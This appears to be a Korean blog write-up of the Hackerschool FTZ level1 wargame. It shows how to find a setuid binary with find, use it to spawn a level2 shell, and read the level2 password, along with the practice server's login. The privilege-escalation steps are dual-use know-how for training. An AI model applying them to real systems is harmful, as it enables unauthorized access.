Wargame/FTZ

Hackerschool FTZ level1

pwn3r_45 2011. 5. 29. 18:31

Category : System hacking

ssh://ftz.hackerschool.org
id : level1
pw : level1

Summary : Excute shell

  • 서버에 접속하여 디렉토리에 있는 파일들을 확인해보면 hint라는 파일을 확인할 수 있다.
[level1@ftz level1]$ ls -l
합계 12
-rw-r--r--    1 root     root           47  4월  4  2000 hint
drwxr-xr-x    2 root     level1       4096 12월  7  2003 public_html
drwxrwxr-x    2 root     level1       4096  7월 10 13:08 tmp
[level1@ftz level1]$ cat hint
level2 권한에 setuid가 걸린 파일을 찾는다.
  • level2 user에 setuid가 걸려있으므로 권한은 최소한 4000이상이어야 한다.
  • 파일이 어디에있는지 모르므로 루트디렉토리( / )에서부터 검색해아야한다.
  • 이 조건을 토대로 find 명령어를 이용해 파일을 검색한다.
[level1@ftz level1]$ find / -user level2 -perm -4000 2> /dev/null
/bin/ExcuteMe
[level1@ftz level1]$ ls -l /bin/ExcuteMe
-rwsr-sr-x    1 level2   level1      23625  3월 29  2003 /bin/ExcuteMe
  • bin/ExcuteMe 찾았다. 실행권한이 있으므로 실행시켜본다.
[level1@ftz level1]$ ExcuteMe
  레벨2의 권한으로 당신이 원하는 명령어를
  한가지 실행시켜 드리겠습니다.
  (단, my-pass 와 chmod는 제외)

  어떤 명령을 실행시키겠습니까?
  [level2@ftz level2]$ id

uid=3002(level2) gid=3001(level1) groups=3001(level1)
  • level2의 권한으로 입력받은 명령을 실행시켜주는 프로그램이다.
  • 다시 실행하여 /bin/sh 쉘을 실행한다.
 [level1@ftz level1]$ ExcuteMe
  레벨2의 권한으로 당신이 원하는 명령어를
  한가지 실행시켜 드리겠습니다.
  (단, my-pass 와 chmod는 제외)

  어떤 명령을 실행시키겠습니까?

  [level2@ftz level2]$ /bin/sh

sh-2.05b$ id
uid=3002(level2) gid=3001(level1) groups=3001(level1)
sh-2.05b$ my-pass

Level2 Password is "hacker or cracker".
  • level2 권한의 쉘을 획득하고 level2의 password를 확인할 수 있었다.